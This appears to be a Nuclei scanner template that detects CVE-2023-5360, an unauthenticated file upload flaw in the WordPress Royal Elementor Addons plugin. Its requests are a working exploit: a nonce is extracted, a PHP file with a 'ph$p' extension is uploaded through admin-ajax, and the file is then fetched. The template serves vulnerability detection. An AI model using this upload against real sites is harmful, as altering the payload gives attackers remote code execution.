id: CVE-2023-5360

info:
  name: WordPress Royal Elementor Addons Plugin <= 1.3.78 - Arbitrary File Upload
  author: theamanrawat
  severity: critical
  description: |
    Arbitrary File Upload vulnerability in WordPress Royal Elementor Addons Plugin. This could allow a malicious actor to upload any type of file to your website. This can include backdoors which are then executed to gain further access to your website. This vulnerability has been fixed in version 1.3.79
  remediation: Fixed in 1.3.79
  reference:
    - https://wordpress.org/plugins/royal-elementor-addons/
    - https://wpscan.com/vulnerability/281518ff-7816-4007-b712-63aed7828b34/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5360
    - https://wpscan.com/vulnerability/281518ff-7816-4007-b712-63aed7828b34
  classification:
    epss-score: 0.00229
    epss-percentile: 0.6099
  metadata:
    verified: "true"
    max-request: 3
    publicwww-query: "/plugins/royal-elementor-addons/"
  tags: cve,cve2023,rce,wpscan,wordpress,wp-plugin,wp,royal-elementor-addons,unauth,intrusive
variables:
  file: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-ajax.php?action=wpr_addons_upload_file HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------318949277012917151102295043236

        -----------------------------318949277012917151102295043236
        Content-Disposition: form-data; name="uploaded_file"; filename="{{file}}.ph$p"
        Content-Type: image/png

        <?php echo md5("CVE-2023-5360");?>
        -----------------------------318949277012917151102295043236
        Content-Disposition: form-data; name="allowed_file_types"

        ph$p
        -----------------------------318949277012917151102295043236
        Content-Disposition: form-data; name="triggering_event"

        click
        -----------------------------318949277012917151102295043236
        Content-Disposition: form-data; name="wpr_addons_nonce"

        {{nonce}}
        -----------------------------318949277012917151102295043236--
      - |
        GET /wp-content/uploads/wpr-addons/forms/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - "86398d3a90432d24901a7bbdcf1ab2ba"
        condition: and

      - type: word
        part: header_3
        words:
          - "text/html"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: nonce
        part: body_1
        group: 1
        regex:
          - 'WprConfig\s*=\s*{[^}]*"nonce"\s*:\s*"([^"]*)"'
        internal: true

      - type: regex
        name: filename
        part: body_2
        group: 1
        regex:
          - 'wp-content\\\/uploads\\\/wpr-addons\\\/forms\\\/(.*?).php'
        internal: true

# digest: 4a0a00473045022100eed2774a4e2cdf0099cc584b89a45078aac417f345ae6b825349c5ff48519b6e02201331a927a593d92395d035ce59050542f920cc085cfb4e0bbb3507d2bca48626:922c64590222798bb761d5b6d8e72950